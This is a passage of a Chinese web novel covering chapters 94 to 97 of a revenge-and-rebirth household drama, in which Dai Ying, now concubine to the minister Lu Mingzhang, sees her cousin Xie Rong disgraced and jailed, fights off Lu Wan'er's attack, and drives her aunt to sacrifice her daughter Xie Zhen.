外间没人,里面有隐隐的人声传来,待要举步进去,从里面转出一人来。
那人见了谢容,先是一惊,接着疾步上前。
“哥,你怎的才回?!”
谢容见是自家小妹,又见她一脸忧色,问道:“怎么了?”
“母亲气坏了身子,现今还吃着药呢。”
谢容捕捉到这话里的“气”字,又问:“怎么回事,可是水杏到母亲跟前招眼了?”
在谢容看来,谢家能让戴万如怄气的只有父亲的小妾水杏。
谢珍冷笑一声:“那水杏当什么,能气到母亲的除了表姐还有谁,也只有她有这个能耐。”
谢容微微抿唇道:“她是乖巧的一人,你莫要乱说。”
“兄长还护着她哩!她乖巧?她连脸都不要了!”
第94章 她去了你岳丈家
谢珍还欲再说,谢容将她喝止。
“你一官户娘子,平日就是这么说话的?就是这么受教的?”
谢珍立马噤了声,撇了撇嘴,不敢再说。
“母亲可在里面?”谢容问道。
谢珍点头道:“起身了……”
正说着,从里传来戴万如虚弱的声音:“可是容儿回了?”
谢容往里间走去,先是一股药味袭来,而自己的母亲倚在半榻上,胳膊撑着案几,头上裹着护额,面目虚弱。
谢容几步上前,拜了拜,关心道:“母亲这是怎么了?”
戴万如施了一个眼色:“一路劳累了,坐下说话。”
谢容依言坐下:“现下可有哪里不适,儿子叫大夫再来瞧瞧。”
“不必,早来过了,药也吃了,好些了,现如今倒没什么大症,只说慢慢将养。”
“可是因着天气严寒,叫母亲身体染恙?”
戴万如挥了挥手,让屋中人全退下。
待屋中只剩他二人时,戴万如两眼一红,说道:“都说会叫的狗不咬人,咬人的狗不叫,真真正正是这个理啊!”
戴万如一面说,一面将桌案拍得“啪啪”响,口中继续说着,“不,不,她不是狗,她是狼,一只蛰伏的白眼狼,等着你不防备,上来就奔着命门咬。”
“母亲说谁?”谢容问道。
“谁?我戴家出来的好女儿,你那戴家表妹!”
到了这会儿,谢容发觉事情不对,追问道:“阿缨怎么了?”
“你还担心她,她攀了好高的枝头,如今依咱们这身份,就是求见一面也难。”
谢容心头一慌,又问:“阿缨呢?她人呢?!”问过后,一双眼紧盯着自己的母亲,“你将她送到王家了?”
“什么王家,那王家算个什么高枝,她去了陆家,日后你丈人家。”
这番对话说得太曲折,其实到这里,谢容还没完全明白,也不怪他,只是此事太过匪夷所思。
“陆家?可是那陆三爷打阿缨的主意?”
谢容霍地起身,转身就往外走,被戴万如喝止:“你站住!去哪儿?”
“我去陆府要人。”谢容又道,“大不了脱了这身官服,同他们讨一个‘理’字。”
戴万如恨得牙痒,脱口而出:“你不要这身官服容易,难道也不要命了?”
就在谢容怔愣间,戴万如说道:“你现在去陆家算什么?这都多少时候了,说句不好听的,她早是人家的房里人了,还有……”
“她侍候的贵人不是陆三爷,是……陆家大爷……”
“嗡”的一声,什么东西在脑子里炸响,轰得谢容再听不到别的声音,只看见戴万如的嘴巴无声地一张一合。
耳中嗡鸣拉长,像针一样刺入耳鼓,再钻入脑仁,待鸣响稍弱,整个人又像浸入冰水中,沉下去,他母亲的声音从水面瓮声瓮气地传来。
“她给陆相做小,我儿,你说说看,这是不是‘咬人的狗不叫’,原来憋着呢,她这是横了心要降伏我啊——”
戴万如仍在絮叨着,没注意谢容面上的异样。
阿缨给陆铭章为妾?
她给陆相为妾?
这简直……不可能!
这人若是陆家三爷陆铭川,他信,陆铭章那样一个人怎么会呢,然而,当戴缨的一颦一笑,宜嗔宜喜的姿态出现在他脑中时,一切都合理了。
她入了陆铭章的眼。
谢容不同于谢山的不作为,不同于谢珍的无脑,更不同于戴万如的蛇蝎心肠,他在听到这一消息后从震惊中回过神。
很快想到了自身,陆铭章纳了戴缨为妾,那么,他和陆婉儿的亲事可能成不了。
谢容所料没错,陆铭章确实有这个打算。
但陆家同谢家的亲事已传开,想要解除婚约,且让陆婉儿不受半分影响,陆铭章对谢容接下来不会手软。
……
谢容归京后仍回集贤院修书。
这日一早,进了办公府衙,褪下披风,递到杂役手里,照往常一样,从柜架上把相关文书理好,放置于案几上,正待提笔时,几个同僚走了进来。
“谢修编几时回的?”其中一人走上前。
谢容拂衣起身,几人相互见礼。
“昨日才回。”谢容回道。
那人又道:“谢修编年纪轻轻,又是外办,又是修编,前途无量啊——”
“当不得,不过是当职尽责罢了。”谢容说道。
其他几人纷纷点头表示赞同。
然而,下一刻,这几人走到谢容办公的案几旁,将他整理的文书,兜抱起,走回自己的案桌边。
这些文书一直由他负责,正待开口询问,从外走来一小吏:“谢修编,院直唤你去一趟。”
谢容点了点头,出了轩子,在他走后,适才几人抬头,目光跟着谢容看了会儿,再略有深意地相互对视,然后嗤笑着摇了摇头。
谢容进入另一边屋室,向上拜了拜,问道:“院直找我?”
一鬓发参白的老者见了谢容,示意他坐:“你外办这段时日,手里原有的修编叫另几位接手了。”
谢容神色不变,只是问道:“是,那学生接下来……”
那院直垂下眼睑,不慌不忙地端起茶盏,吹了吹热气,说道:“眼下各部职司已定,暂无空缺,你手上的公务已有人接手,暂去稽核阁,将近年来的旧卷整理一番。”
谢容听后,立在那里没说话,院直抬眼问道:“还有事?”
“无事。”谢容说罢,行了一礼,退了出去。
稽核阁,那里面堆积的俱是陈年卷宗,还有年代久远的文集,去那里,皆是一些无关紧要、难以量化的琐碎工作。
待在那种地方,永无出头之日,只怕他先前所编修的文集也不会署他的名字。
他所担心的事得到了印证。
因为陆铭章纳戴缨为妾,那么他和陆婉儿的亲事就要废止,陆铭章这是在压制他,但他不会亲自出手,而是置身事外地利用规则进行合法的、公正的冷处理。
让他有苦说不出,让他的官途在无声无息中枯萎,想到这里,谢容已是自身难保,脑中却横出另一个念头。
阿缨是否知晓,她所面对的是怎样一个人?那凛然端方的表象之下,是算无遗策的诡谲,还有深不见底的城府。
同这样的人日夜相伴,犹如站在深渊边缘,行错一步便万劫不复。
然而,谢容还是想简单了,他以为陆铭章只是打压他,让他知难而退,自寻错处,主动上陆家退亲。
可事实是,陆铭章雷厉风行的风格,根本不会让谢容有任何喘息的余地。
在他于稽核阁整理旧卷时,一个顶大的麻烦找上了他。
廊道上的脚步声停在门前,接着小吏的声音响起:“谢修编。”
光线昏昏的房里,谢容从案后抬头,就见门首下,小吏背光立在那里。
见他抬头,小吏的声音冷冷传来:“直院让你去一趟。”说罢,转身离开了。
谢容看了一眼桌上的文集,搁下笔,怔了一会儿,起身往外走去。
那直院本在同另几名编修议论着什么,见了谢容,众人立马静下声。
“谢编修,你来,看看这个。”直院向谢容招了招手。
另有几名编修见谢容上前,赶紧让出位置,避瘟似的,谢容走上前,看向案上的一卷文集,只见上面有几处圈画。
就在他低头细看时,旁边一人说道:“集贤院乃国家文脉所系,典章容不得半点疏漏,谢编修,你怎的出这种失误。”
“直院,这份文集只是初稿,上面有错漏并不是什么大事,当时学生因离京外办,这文集才没做后续精修。”谢容解释道。
然而,又一人出声:“虽是初稿却也不该粗心至此。”
谢容抬头,看向这些平日同他热络寒暄的同僚们,俱是一副幸灾乐祸地咄咄逼人之态。
“谢编修,我等竟不知你工作如此马虎,今日错一字,明日便可错一策,岂堪大用?”
这方说罢,那方上场,又一人愤愤道:“好在叫我们提前发现了,若是核检出来,咱们这些人有几个脑袋砍?”
其他几人听说,纷纷点头并谴责。
直院适时开口道:“唉!谢修编,你这……到底是年轻了,竟出此等纰漏。”
接着又道,“近日院中修书诸务,渐次已定,念你入院以来,勤勉有加,欲使你暂解局务,归家精研典籍,今日便算是交割了,你且将手头书册文卷,一一整理明白,交付与李修编,日后院中若有紧要职事,自当再行奏请,你且安心,静候朝命便是。”
谢容没再说什么,知道说什么也无用,这是解除了他的当前差遣,让他归家待命。
静候朝命?呵!哪里来得朝命,他一个被边缘的低阶文官,等待下去只会是遥遥无期的缥缈。
谢容回了府,先去了一趟他父亲的书房。
“什么?!你被解除差遣?”谢山起身太猛,差点没立住。
谢容的情绪比他父亲稳,然而也只是表面,他知道此事还没完,他编修的是《先帝实录》,小事重罚。
今次只是陆铭章给的一个不轻不重的警告。
若谢家不及时去陆府解除婚约,那么接下来,就不仅仅被解除差遣这么简单了。
且谢家不仅要主动上门解除婚约,还得自寻错处,让陆婉儿不受世人指摘。
这便是陆铭章的意思。
夜里,当谢山把这话告诉戴万如,戴万如整个人如遭雷霆,卸了差遣不说,还要自寻错处,解除婚约?
她知道,解决的办法唯有一个……
第95章 两世恨怒
一茶楼三层的雅室内。
戴万如把谢容现下的处境道了出来,她对面坐着一面目白净,打扮明丽的少女,正是陆婉儿。
“谢家夫人,这事定和戴缨脱不离关系。”陆婉儿说道。
昨日,戴万如听了谢山告知她的话,知道不能坐以待毙,可真让她上陆家退亲,又如何甘心。
在陆、谢两家定亲后,她尝到了前所未有的甜头,眼看就要到嘴的鸭子,决计不能让它给飞了。
是以,第二日,便让人去陆府给陆婉儿捎话,情愿放下身段,邀这位未来的千金儿媳见一面。
见陆婉儿提及戴缨,戴万如故作不知问:“这话怎么说?”
“她出身低下,配不上谢郎,便心怀恨妒,想要破坏这门亲事,一来,报复了我,二来,报复了谢家,岂不是一箭双雕?”
之后陆婉儿又把那日戴缨威胁她的话道了出来。
戴万如心里一沉:“她当真这样说?”
“这还有假。”
戴万如心里又惊又恨,在戴缨成为陆铭章妾室时,她就知道,以她那侄女的脾性,一定会报复回来。
只是没想到,她不对自己下手,反而一心要坏谢家同陆家的亲事。
她就知道,她就知道,这丫头不下手则已,一下手就专朝人命门踢。
“陆大人可知晓?”
谢容眼下的处境就是陆铭章有意为之,而戴万如这话里的意思却是,陆铭章必是受了戴缨的挑唆,那么,戴缨的险恶私心,陆铭章是否知晓。
一提起这话,陆婉儿气得直接站起,在屋里来回踱步。
见她这样,戴万如心里又是一沉,但听陆婉儿说道:“我父亲新得这么个人,我能说什么,为着这事,冷脸把我好一通说。”
在陆婉儿只顾怨烦时,戴万如心下千思百转,开口道:“婉儿,你先坐下。”
“夫人,您怎么瞧着一点不急?莫不是打算就这么屈服?”陆婉儿敛裙,重新落座。
戴万如微笑,用比对谢珍还温和的口吻,说道:“你同容儿之事,我也是有心无力,我自然是希望你们二人好的,只是这……陆相受了挑唆,我谢家门户低小,想要见陆相一面也是不能,不屈服又能如何?”
说罢,抽出罗帕,用指顶着,拭了拭眼角的湿润。
陆婉儿见此情状,心中愈发不忿,她何曾受过这种窝囊气,那戴缨是个什么玩意儿,不过就是她父亲一时新鲜的玩物。
高兴了逗两下,不高兴了,一脚踢开,竟敢爬到她的头上作威作福?
“谢家夫人,你放心,待我回去揭她的皮,看她还敢不敢作妖!”
说罢,向戴万如浅浅欠身,带着丫鬟出了茶楼,回了陆府。
……
戴缨正坐在窗下给陆铭章缝制护膝,这护膝的皮毛,是她专挑得上好的短貂绒,绒毛细密,绑在腿膝处,既保暖且不显臃肿。
归雁拿了一张薄衾来。
戴缨见了,笑道:“屋里暖着呢,怎么还拿一条衾被来?”
“上次受了一场寒,这腿还是护着些,嬷嬷让我拿来的。”归雁一面说,一面将小被搭在戴缨的腿上。
戴缨笑着没有言语,七月从屋外走来,搓了搓手,将屋中起沸的壶提起,再走到窗下的半榻边,给戴缨续上一碗茶,然后拿起一只已缝好的护膝,在手中看了看,放回簸箕中,坐到戴缨对面,往她脸上端详。
干净秀丽的眉眼,笑起来亲近平和,说话的声音也净柔,不怪她家大爷上心,亲自将人接回。
这样好的人,放在谁屋里都得精心护着。
七月稍稍压低声:“庄子上新送了些野味,有兔、鹿,还有獐子,爷让婢子问姨娘想吃什么,想怎么吃,是蒸、是炸,或是烤,都依您的意思。”
戴缨笑道:“这话怎么问我,该问大人的意思。”
“这可让婢子难办,姨娘还是给句话罢。”
戴缨看向窗外,仍是冷着,阳光却是不错,于是说道:“要不咱们摆几个烤架,再配些可口的料,就在院子里烤肉如何?大家一起也热闹热闹。”
七月一拊掌,笑道:“哎哟——这个好,这个好,只是又便宜那些个好顽的小丫头们了。”接着又道,“婢子这就去厨房一趟,让他们准备准备。”
戴缨点了点头。
七月走后,归雁便悄不声地坐到戴缨身边,歪头伏在案几上,呆呆地不知在想什么。
“怎么了,有心事?”戴缨问道。
归雁一抬眼,见自家娘子正看着她,摇了摇头,扯出笑来:“没什么,没什么。”
正说着,院子里响来一串杂乱的脚步,戴缨向窗外看去,这一看,整个人定在那里,身上的血瞬间凝住,脸上血色尽褪,惨白一片。
归雁觉着奇怪,正欲抬头,然而,不及她反应过来,整个人已滚在地上。
转头去看,就见四五个膀粗腰圆的婆子将自家娘子从榻上拖拽,一路拖拽到院中。
院中的下人们见了,想要上前阻拦,却被一道娇声喝止。
“我看今儿谁出这个头!”
众人看去,说话之人正是大姐儿,陆婉儿。
他们这些做奴才的哪敢同主人对上,何况还是这位,一时间想上前也不敢了。
戴缨脚上未穿鞋,身上也只着了一件薄夹袄,在几个婆子的拖拽中,乌发半散,垂在身后,脸在地上擦破了一块。
那种无能为力,像畜生一样任人宰割的恐惧再次袭满她的全身。
陆婉儿很得意戴缨眼中下意识流露的惧怕,她终于发现,根本无须同戴缨斗智斗勇,她同她说话都是施舍,不如直接拖出来毒打一顿,或是拉出去卖了,这样更省事。
当然了,事后少不了父亲和祖母的责怪,这没什么,她受得住。
一想到谢郎赋闲在家,她同谢家的亲事也几欲作废,皆因戴缨在父亲耳边挑唆,她不过就是个上不得台面的妾,既是妾,便是奴。
就算她现在将她打杀了,谁能说个不是?
人在面对最深层的恐惧时,身体下意识的反应凌驾于所有的思考。
在戴缨看到陆婉儿带着四五个粗壮婆子进到院中,轰的一声,周围一黑。
她像个看客立在一边,看着榻上的女子被婆子们用力揪拽头发,头皮撕紧的一瞬,头往后仰,她们撬开她的嘴,把一碗黑糊的汤,往她口鼻灌。
她护着圆滚滚的肚子,双腿踢腾。
当她回转过来,人已被拖拽到院中,此刻的陆婉儿同前一世的影重合起来。
怕吗?怕啊!可是……恨更多!这一股恨意很快冲涌上头,流遍全身。
戴缨慢慢站起,将护在自己身前的归雁拉开,不慌不忙地弹了弹身上的灰,然后看向一方居的下人们,高声道:“我是这院里的半个主子,你们不敢得罪她……”
说着,扬手指向对面的陆婉儿,同一时,陆婉儿挑衅地扬起下巴,嘴角带起讥讽,然而戴缨下一句却道。
“她是主,你们不敢拦,那几个老咬虫可不是主,若你们眼里还有我这个人,便速速上前将那几个老货给降伏!”
一方居的下人们相互看了眼,爷对这位戴姨娘的态度,他们看在眼里,做下人的嘛,最重要的是随份从时,当下呼啦涌上,同几个粗壮婆子拉扯扭打起来。
陆婉儿受了大惊,全然反应不过来,就在她怔愕间,戴缨三两步扑向她,两眼迸出烈火般的恨,把她压倒在地,抄手就是两巴掌。
这是陆婉儿自出生以来,头一次被人扇耳刮,脸是麻的,耳朵是嗡的,脑子是木的,眼睛更是呆的。
等她回过神来,“啊——”的一声尖叫,这一叫,怒到了绝顶,当下什么高贵的身份全撇一边,同戴缨对干起来。
两人你揪采我的头发,我拉扯你的脸,绞在一起,全没一点人样。
这二人都带了仇愤,但陆婉儿的终是比戴缨的两世恨怒逊色一筹。
戴缨一个翻身,把陆婉儿脸朝地的压持,再将她的头捺在地面,忙乱中抽出手,脱下自己的袜子,迅速塞到陆婉儿的嘴里。
你叫我喝药,你叫我喝药,那就尝尝我袜子的滋味。
陆婉儿不知嘴里塞得什么,气得把手往后招,又要扯戴缨的头发,戴缨把脸后仰,避开她挥打的胳膊。
正在这时,一道怒喝响起。
“你们在做什么!”
热闹的一方居,在这句不高不低的声音中遽然安静下来。
陆铭章一双眼沉压压的,目光往院中一扫,最后定在地上的两人,衣衫散乱,头发蓬堆,就像为一张饼抢食的两个乞儿。
长安立在家主身后,乍一眼,还以为走错了地方。
今日,阿郎休沐,没去宫里,天亮后去了前院的书房,就在刚才,七月急急走来,说婉姐儿带人去了一方居,怕出事,让他告知于阿郎。
然而等他们到时……只怕连阿郎自己都没料到会是眼前这番景象……
第96章 不念父女情分
院子里的下人们乱成一团,地上两人“难舍难分”。
不知为什么,长安看到这一幕有些想笑,当然了,他是不能笑的,并且忍得有些辛苦。
戴缨在听到陆铭章的声音时,一激灵,抬头朝他看去,正是这一空漏,陆婉儿从地上爬起,吐掉嘴里的“布”,跑到她父亲面前。
抬起手,指向戴缨,上下唇哆嗦半晌,愣是一句话没说出来。
结果“哇——”的一声哭了,摸着自己的脸,哭吼道:“打……打我……她打我脸,父亲,连你都未曾舍得打我……”
陆铭章先是在陆婉儿脸上看了看,确实红了,这一看就是打的时候下了狠劲。
再蹙起眉头看向仍坐在地上的戴缨。
面对陆铭章的视线,她觉得应该跟陆婉儿一样,哭一哭,做出一番淌眼抹泪的姿态。
可她这会儿怎么都哭不出来,就那么睁着一双大眼把陆铭章看着。
陆铭章的目光先是落在她脸颊上的擦伤上,有拇指那么大一块,破了皮,没流血,接着目光又落到她赤着的脚上,脚底板黑着。
接着闭了闭眼,实在是没眼看,耳边还有女儿聒噪的哭喊,吵得他脑仁疼。
“把大姑娘扶回院子。”陆铭章说道。
陆婉儿岂能就这么算了,指着自己的脸,往前一递。
“父亲,此事断不能轻纵!女儿再如何也是这府里的正经主子,她一个妾室,竟敢以下犯上,与女儿动手厮打,若此番不重重惩处,只怕明日她连您都不放在眼里。”
陆铭章把眼一横,声音往下沉去:“别急,你跟她一个都跑不脱,等我问过她,再来问你,该请家法请家法,该领杖责领杖责,一丈青,一丈红,自有公断。”
陆婉儿一听,脸色变得煞白,噤声不敢言语,七月招了几个丫头,环护她离开。
陆铭章一步一步走到戴缨跟前,屈膝蹲下,目光在她脸上停留了半晌,未发一语,只是默然将一手探入她腿弯,另一手环住她肩背,缓缓把人打横抱起。
戴缨很自然地环上他的颈脖。
偏陆婉儿出了一方居没几步,想起谢容被卸去差遣一事,想回头问一问她父亲,于是去而复返。
见到的就是眼前这一幕。
她的父亲,对她严词相待,却俯身抱戴缨回房,这算什么,不是说公断吗?这就是所谓的公断?!
陆婉儿再不能忍,哭着跑开了。
陆铭章把戴缨放到外间的窗榻上,吩咐丫鬟打水来。
不一会儿,小丫头打来一盆热水,放到地上。
“洗干净。”陆铭章用下巴指了指,然后转身进了里间。
盆里的水冒着热气,戴缨低下头,将脚放入热水里,归雁上前拿巾帕替她洗净,再从旁接过一条干巾帕,拭干,然后清收水盆,出了屋室。
陆铭章拿了一个瓷瓶走出来,坐到她身侧,用手抬起她的下巴,往她脸颊的擦伤看了眼,剜出一点膏药,往上涂抹。
戴缨“嘶——”了一声,叽哝道:“嗳,轻些。”
“这会儿才觉着疼?”陆铭章带点惩罚的意味,按了按她那处擦伤。
戴缨赶紧把头偏向一边,笑了笑:“大人不责罚我吗?”
陆铭章将药瓶丢到一边,问道:“怎么回事?”
“妾身真不知,她带着一群婆子来,不由分说地将我拖拽出去。”戴缨一五一十地说道,接着做出一副欲言又止的样子,“只怕……”
“只怕什么?”
“只怕还是为着同谢家的亲事,不然妾身想不出有什么事让她这般气恼的,兴是这中间生了什么变故……”
陆铭章在打压谢家,戴万如不会坐视不管,情急之下,她只有陆婉儿这一条路。
可戴缨心里清楚归清楚,也有心挑拨,却不敢在陆铭章面前耍小聪明,只能半遮半掩地道实情。
在她说罢后,往陆铭章面上快速地看了两眼,见他似是没有责怪的意思。
原本今日庄子送了野味来,趁着好天气,再加上陆铭章休沐,戴缨欲叫丫头们在院子烤肉,经这么一闹,也没了心情。
……
彼边,陆婉儿回了院子,扑到床上痛哭一番,这次是什么脸也没了。
她好悔,生辰宴那日,就不该因为一时好奇,让谢珍把戴缨领到她面前,如果不是那次,祖母也不会知道有这么个人,那么接下来,戴缨就不会到她家来。
父亲也不会被小贱人迷惑。
陆婉儿全然忘了她刚才因为什么和戴缨闹起来,这会儿的伤心全是因为父亲的偏心。
反把谢容之事丢到一边。
这次的事情闹得这样大,陆铭章虽有意瞒下,还是传到上房那边,陆老夫人问了一嘴,陆铭章怕老夫人担心,只轻描淡写地带过,并不打算多说。
然而,转过身,他就让人打听了陆婉儿的行踪,几时出了府,出府后又见了什么人。
之后,陆铭章让人把那日的几个婆子一通杖打,全部发卖,又让人将陆婉儿带到他面前。
陆婉儿走进书房,罕见地发现父亲并未坐在案后处理公务,而是面窗而立。
“谁给你的胆子动她?”
辨不出情绪的声音从窗前传,父亲面朝外,使她无法看清他面上的情绪。
陆婉儿看着那背影,仍不服地辩解:“不过是个侍妾,女儿为何动不……”
“你动不得。”陆铭章骤然转身,截断她的话。
那一瞬,威压扑面而来,不需要提高声调,那话语中的重量已不容置疑,陆铭章一字一顿地再次说道:“我的人,谁准你动?”
窗口大敞着,寒意袭来,让陆婉儿下意识地一激灵,而父亲接下来的一句话,叫她脸上血色褪得干干净净。
“再有下一次,叫我知道你欺她分毫,别怪为父不念父女情分。”陆铭章略作停顿,声线压得更低,一字一句清晰地砸入陆婉儿耳中:
“这话,你可听明白了?”
陆婉儿浑身僵硬地颤栗着,梗着脖子,点了点头。
陆铭章转身走到案后,声调平平:“自去领家法。”
直到这一刻,她才悟得到自己犯了多大的忌讳,戴缨如今的身份不同了,她是他父亲抬举的人。
她动戴缨,就相当于僭越了她父亲。
在陆婉儿领受家法,禁足之际,谢容因修编《先帝实录》疑涉谤讪之罪,下了牢狱。
此罪一旦坐实,再无翻身之日。
彼边亦如是,戴万如以为自己对付的仍是自己那个无所依的侄女儿,然而,她忽略了,她不再如同从前,任她呼之即来,挥之即去。
如今的境况就是,自己一家几欲被逼到绝路,她却连她这个始作俑者的面都见不到。
“姑奶奶,咱们小娘子真没来店里。”秦二好言语地劝说道。
戴万如不信:“她常往这铺子里跑,一日不来,两日不来也还罢了,怎么可能接连几日不来?”
秦二“哎哟”一声,说道:“这不天冷了么,再说,她在府里还要侍奉老夫人,空闲少,两家铺子也盘顺了,自然就不常来了。”
戴万如没了办法,向来高傲的她,终于低下声气:“我知道,你能见到她,你就说……从前的那些事,让它随风散了罢,终究血脉相连,关起门来,总还是一家人。”
秦二客气着点了点头,暂且应下了:“待我往上报账时,替您传知?”
戴万如眼下没有别的办法,只能抱着一丝希望。
她前脚才走,秦二往地上啐了一口,招伙计来:“赶紧的,扫一扫,晦气!”
这会儿想起来是一家人了?先前把东家往死里逼时怎么不念血脉相连?
恨归恨,秦二是个合格的管事,仍把这话往戴缨跟前报了。
“她这么说的?”戴缨问道。
“是。”
戴缨静下不语,谢容不止翻不了身,很有可能连命都得丢在牢里,他一死,陆婉儿的亲事自然作罢。
戴缨一手撑着下颌,半眯起眼,看着窗台边的烟炉,谢容就这么死了……陆婉儿顶多伤心一时,陆铭章会给她再寻一桩更好的亲事。
戴缨又想起一事,问道:“陈左有无来店里找你?”
陈左被周虎寻衅,真要说来,同她有一定的关系,当日若不是他带工人们替绸缎庄出头,也不至于惹到周虎,不惹周虎,就不会有后面的事情……
“未曾来过。”秦二答道。
戴缨点了点头,又道:“若我姑母再来,你把她请到二楼,来知会我。”
秦二怔了怔,东家这意思是愿意见谢家夫人?
次日,戴万如再次上门。
伙计将她请到二楼,在她等待期间,脑中想了无数种可能,该端起长辈的架势,以命令的口吻让戴缨替谢家说情,还是该放下身段,先赔不是,再情真意切地央浼一番。
就在她左思右想间,楼梯响来脚步声。
戴万如下意识站起,就见戴缨一手捉裙,在几名丽婢的随护中款登楼阶,上到二楼。
只见其莹白的脸上透着自然的红润,身上披着一件丰软的鹤氅,袖口镶着四指宽的银灰鼠毛。
人还是那个人,相较之前,却全然两样,差点叫她认不出,这便是高门世族滋养出的富丽从容态。
“我的儿,多少时日没见你了,莫不是去了陆家就把自家人给忘了?”戴万如玩笑似的说道。
戴缨做势就要给戴万如欠身,戴万如哪里敢受,正要扶她,戴缨却一个侧身,看似无意地避过了。
“姑母哪里的话,阿缨怎会忘了姑母一家,姑母待我的好,阿缨这辈子都记在心里,忘不了的。”
戴万如讪笑两声,戴缨坐下,从丫鬟手里接过暖炉,看了一眼对面,说道:“姑母坐。”
戴万如这才坐下。
“缨娘,你表兄下了牢狱,你不能见死不救……”
戴缨抬手止住:“何来的见死不救?表兄下了牢狱必是有错在先,按照律法,该是如何便是如何,姑母怎么求到我这里来?”
说罢就要起身,戴万如慌得抓住她,生怕她撂手不管,言语更加恳切:“从前是我的过错,可容儿对你怎样,阿缨,这个你该清楚。”
接着,戴万如也不再隐瞒,把先前谢容以亲事和罢官威胁她的事道了出来。
“姑母知道你向来是个有恩必报之人,我的错,一切都是我的错,同你表兄没有半分干系。”
戴缨这才缓缓坐下,就在戴万如以为她会应下时,她却陡调话头,说了一句风马牛不相及的话。
“珍姐儿年纪也不小了……”
第97章 触及他的逆鳞
谢府门前,轿辇落地,戴万如下轿,神魂不在,脚下一个没注意,整个人绊倒在地,蹭了两手灰,头簪松斜。
这若放在以前,身边跟着的下人少不得挨一通责骂,然而今日,她浑然未觉,一声不言语地从地上爬起,晃晃荡荡进了府门。
谢珍正坐在房里,试匣子里的首饰,心情不错地哼唱小曲儿。
毫无征兆地一抬头,唬了一跳,发现门前立了一人,因是背着光,又太过突然,没看清,等看清时,一颗心仍跳得七上八下。
“母亲怎么不声不气地站在那里,叫女儿好一吓呢。”
戴万如拖着步子,走进来,先看了眼谢珍面前的妆奁,又往她的脸上看去。
两眼微红,话未出口,泪珠先滚了下来。
谢珍这才赶紧放下手里的珠宝,问道:“母亲这是怎么了?”
说着,往她身上一打量,发现两手蹭破了,衣衫蓬了灰,腿膝处尤甚。
猛地站起,几步走到门外,大声喝问:“谁跟着夫人的?人也看顾不好?一个个倒是会吃,会顽,会躲懒……”
“我儿,你来。”戴万如出声道。
谢珍急急走回,摊开戴万如的手,“呀”了一声:“女儿给你拿些膏子药来。”
戴万如一把拉住她,让她坐下:“珍儿,娘有件事同你商议。”
谢珍无所谓地“嗐”了一声,坐到戴万如对面,继续盘弄自己的首饰,嘴里说着:“这家里一向由母亲做主,怎么还跟女儿商议,母亲拿主意就是。”
就在谢珍的注意放在华丽的首饰上,戴万如的声音悠悠响起:“母亲给你找了一门亲。”
谢珍手上动作一顿,转头看向戴万如,呆怔后透出羞怯的期待。
“女儿还想多留在母亲身边两年,不想这么早嫁人……”接着就问,“定的哪家?”
戴万如面上又灰了一度,目光发直地看向谢珍,僵硬道:“王家……”
“王家?”谢珍想了想,摸不出头绪,“哪个王家?”
戴万如又道:“你父亲的上司,员外郎家。”
谢珍点了点头,又觉着不对:“那王家几个适龄的公子似是已有婚配,还有一个年纪尚幼……”
不待谢珍说完,戴万如很是艰难地将她打断,声音发着颤:“是王老爷,王庆。”
房间骤然安静下来,接着,谢珍拿手放到戴万如的额上,扯出一抹笑:“母亲莫不是摔糊涂了。”
然而,戴万如什么也没说,那双几欲血红的眼眶,还有灰败的面色说明了一切。
谢珍霍地从凳上站起,因为起身太猛,身后的坐凳被带翻在地。
“疯了,疯了,你一定是疯了。”
谢珍先是自言自语地呢喃,那王庆多大年纪,家里还有妻室,母亲这是让她过去给王庆为妾?!
戴万如苦言劝说:“我儿,母亲这也是没办法,你不去王家,你哥哥出不来……”
戴缨没有把话挑明,可她听懂了,这一天终是来了,她在报复,以同样的方式报复回来……
不见血,不要命,只是居高临下地无所谓地看着她挣扎,如同自己从前那样待她,现今掉了个儿。
她舍不得女儿,可又要救儿子,这个选择虽然很心痛,却并不难抉择。
谢珍听后,错乱地踱步蓦地停下,隔着一段距离,大声道:“为了哥哥,就要把女儿推出去?哥哥的命是命,我的命就不是命了?”
戴万如心里本是愧疚的,可面对谢珍的嘶吼和不理解,她的气焰也涨了起来。
“你兄长日后要撑起整个谢家,你一女儿,总归要嫁出去的,叫我指望你不成?还有……”
戴万如看向桌上的珠宝匣,“你这个做妹妹的有没有心?你兄长下了牢狱,不说帮着想想办法,何曾有过一点担忧,全像个没事人一样,我怎的养出你这么个没心没肺的秧子。”
谢珍早被戴万如养得失了规矩,这会儿母女互骂,丝毫不留情面,直击要害。
但听谢珍轻呵,冷笑道:“如今表姐不在府里,母亲就要对付我了,难怪表姐情愿待在店里,也不愿回这个门,在你这里,何曾有过一星半点的亲情,连我这个做女儿的都算计,你就有心了?你就有心了?!”
话音刚落,戴万如将手边的珠链往地上一掼,狠声道:“你眼里还有无我这个母亲,我说一句,你回顶两句,好!好!从前是我太过惯纵,这次却由不得你。”
谢珍梗着脖,双手紧紧攥着,看着戴万如走出房门,往下交代。
“没我的吩咐,不许她踏出房门半步。”
谢珍奔向屋门时,房门已“砰”地关上,并开始落锁。
“放我出去,你们做什么?!”
“让我出去!”
“母亲!你不能这样对女儿,你不能这样……娘……”
戴万如没有理会身后的哭吼,尽管她的心在滴血,可眼下的首要任务是把儿子从狱中救出,别的她管不了。
……
戴缨回了陆府,从簸箕里拿起那双貂绒护膝,上好的银灰细软皮毛,已缝制好了,待晚间她便拿出来,叫陆铭章试试。
心里这么想着,却又呆住,空下来,戴万如为了救谢容,一定会牺牲掉谢珍。
之后谢珍就会进入王家,如此一来,不仅毁了谢珍的一辈子,也折磨了戴万如。
戴万如心疼谢珍吗,肯定会心疼,生养了一场,然而她余生的折磨不是来自对女儿的疼惜,而是谢珍堕落为妾后反噬于她的那股力量。
戴万如是高傲的,掐尖要强的,虚荣到一种病态的地步,它们同她的生命并行。
自己女儿给老头为妾,只这一条,她一辈子就完了。
所有的依撑顷刻瓦解,并会在漫长的余生中,在洪水一般的嘲讽中,由着那股反噬不停地折磨她,那些她已经拥有的,和盼望中的脸面、地位,燃烧殆尽。
当一个人最在意的东西,被踩在脚下,贱入泥尘,那么活着,便是痛苦,活着就是地狱。
戴缨怔怔地想着,院子里来了人,脚步欢蹦着来,进了屋室。
“姐姐——”
这一声,把戴缨心头迷蒙的灰雾立马驱散,看向来人。
一身宝蓝色夹袄长衫,外面套个圆领坎肩,衣缘处镶着毛绒,脚蹬一双翘头长靴,头戴一顶貂尾帽,不是小陆崇却又是谁。
戴缨招手道:“快来,快来。”
小陆崇爬到窗榻上,坐到戴缨对面,取下头上的绒帽丢给身边的丫头。
“我早想来看你,祖母管着,不让我往外跑。”
戴缨笑着点头:“这会儿怎么来了?”
